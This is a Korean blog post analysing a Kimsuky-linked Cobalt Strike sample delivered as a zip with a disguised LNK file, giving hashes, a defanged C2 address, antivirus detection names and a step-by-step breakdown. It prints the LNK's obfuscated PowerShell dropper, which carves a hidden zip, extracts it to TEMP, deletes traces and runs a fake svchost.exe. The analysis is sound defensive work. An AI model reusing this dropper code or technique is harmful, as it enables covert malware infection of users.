꿈을꾸는 파랑새

반응형

오늘은 우리가 정말로 존경하지 않는 북한 김수키(Kimsuky)에서 만든 코발트 스트라이크(Cobalt Strike) 악성코드-test.zip(2025.1.11)에 대해 글을 적어보겠습니다.
해당 악성코드는 다음과 같습니다.
파일명:test.zip
사이즈:15,282 Bytes
MD5:8d3dd8b5a883a2080525a11807b2a6e1
SHA-1:da3cbfad064e12c4334161a00335c0176011d0c2
SHA-256:c2faf67cab95cba996e6b705e9579ffbc53fec55b09064308c2c38dbf6018077

악성코드 에 포함된 powershell
악성코드 에 포함된 powershell

Powershell 코드

StringData
{
    namestring: Type: Text Document
    Size: 391,2KB KB
    Date modified: 30/11/2022 14:56
    relativepath: not present
    workingdir: not present
    commandlinearguments:
	/c powershell -windowstyle hidden ($o)bf_lnkpath = Get-Child(It)em *.lnk ^| where(-)object {$_.length -eq 0(0)395530} ^| Select-Object -Exp(a)ndProperty FullName;$o(b)f_file = [system.io(.)file]::ReadAll(B)ytes($obf_lnkpath);$obf_path = '%TEMP%\tmp'(+)(Get-Random)+'(.)zip';$obf_path = [Envir(o)nment]::Expa(n)dEnvironmentVa(r)iables($obf_path);$obf_dir = [System.IO(.)Path]::GetDire(c)toryName($obf_path);[Syste(m).IO.File]::WriteA(l)lBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA Sile(n)tlyContinue -Force ^| Out-Null;Remove-Item -Path $obf_path -EA SilentlyCo(n)tinue -Force ^| Out-Null;^& .\svchost(.)exe
    iconlocation: C:Program FilesWindows NTAccessorieswordpad.exe
}

악성코드 분석

1. 아이콘 위치: C:\Program Files\Windows NT\Accessories\wordpad.exe 
아이콘은 Wordpad의 것으로 설정되어 있으며 사용자가 문서 파일로 착각하도록 유도하는 전형적인 사회공학적 기법
2.Power shell 명령어 분석
Get-ChildItem .lnk:현재 디렉터리에서 .lnk 파일을 찾음
where-object {$_.length -eq 00395530}:파일 크기가 정확히 395,530 바이트인 파일만 선택
Select-Object -ExpandProperty FullName:선택한 파일의 전체 경로를 반환하여 변수 $obf_lnkpath에 저장
$obf_file: 앞서 선택된. lnk 파일의 내용을 바이너리 형태로 읽어들여서 $obf_file에 저장
$obf_path:임시 디렉터리 %TEMP% 에 무작위 이름으로. zip 파일 경로를 생성
Get-Random을 사용하여 무작위 파일 이름을 생성함으로써 탐지를 어렵게 만드는 것이 특징
$obf_dir:생성된 .zip 파일의 디렉터리 경로를 가져오게 합니다.
[Systehttp://m.IO.File]::WriteAllBytes:.lnk 파일의 특정 오프셋(3,412바이트) 이후부터 끝까지의 데이터를 추출하고 나서 $obf_path 경로에. zip 파일로 저장
이는.lnk 파일에 숨겨진 악성 코드 페이로드가 포함되어 있으며 해당 데이터가 압축 형태로 저장되어 있음을 의미
Expand-Archive: 방금 생성한. zip 파일을 현재 디렉터리로 압축 해제
악성코드는 압축을 해제하고 정상적인 실행 파일처럼 보이도록 svchost.exe 라는 이름의 파일을 생성
Remove-Item: 압축 파일을 삭제하여 흔적을 제거
압축 해제된 디렉터리에서 svchost.exe 파일을 실행하고 Windows의 정상적인 시스템 프로세스이고 해당 프로세스는 악성코드가 정상적인 시스템 파일처럼 위장하는 데 자주 악용
해당 명령어가 실행되면 사용자는 정상적인 파일을 실행했다고 생각하지만 실제로는 악성코드가 실행

악성코드 실행
악성코드 실행

C:\Users\user\AppData\Local\Temp 에 svchost.exe 파일이 생성된 것을 확인할 수가 있으며 
파일명: svchost.exe
사이즈:367,019,008 Bytes
MD5:7207593087e9fc954d40c212c1d7d715
SHA-1:0950e65c47b3f45d0ab1e9171aa4fa1fe31d8821
SHA-256:ce13fdeb751805770de676f0b387623e590ac17c569c5bc9e81323bdd6213521
여기서 이야기하는 Cobalt Strike는 공격자가 피해자 컴퓨터에 Beacon 이라는 에이전트를 배포할 수 있도록 하는 유료 침투 테스트 제품

악성코드 실행시 생성되는 svchost.exe
악성코드 실행시 생성되는 svchost.exe

C2

hxxp://c-csigns(.)com:443/686c6c647a_B(.)gif

입니다.
2025-01-09 21:05:18 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:LNK/Autorun.Gen
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Trojan.Generic.D439464B
Avast:LNK:Agent-DA [Trj]
AVG:LNK:Agent-DA [Trj]
BitDefender:Trojan.GenericKD.70862411
CTX:Zip.trojan.generic
Emsisoft:Trojan.GenericKD.70862411 (B)
eScan:Trojan.GenericKD.70862411
ESET-NOD32:LNK/TrojanDropper.Agent.DB
Fortinet:LNK/Kimsuky.GOSU!tr
GData:Trojan.GenericKD.70862411
Google:Detected
Huorong:HEUR:Trojan/LNK.Agent.b
Ikarus:Trojan-Dropper.LNK.Agent
Kaspersky:HEUR:Trojan.Win32.Agentb.gen
Kingsoft:Win32.Trojan.Agentb.gen
Rising:Trojan.EmbPe/LNK!1.F3E9 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious Archive
Skyhigh (SWG):Artemis!8F604FA3B534
Sophos:Troj/LnkDrop-M
Trellix (ENS):Artemis!8F604FA3B534
Trellix (HX):Trojan.GenericKD.70862411
VBA32:Trojan.Link.Crafted
VIPRE:Trojan.GenericKD.70862411
항상 기본적인 보안 수칙을 잘 지키는 것을 권장합니다.

반응형

공유하기

facebook twitter kakaoTalk kakaostory naver band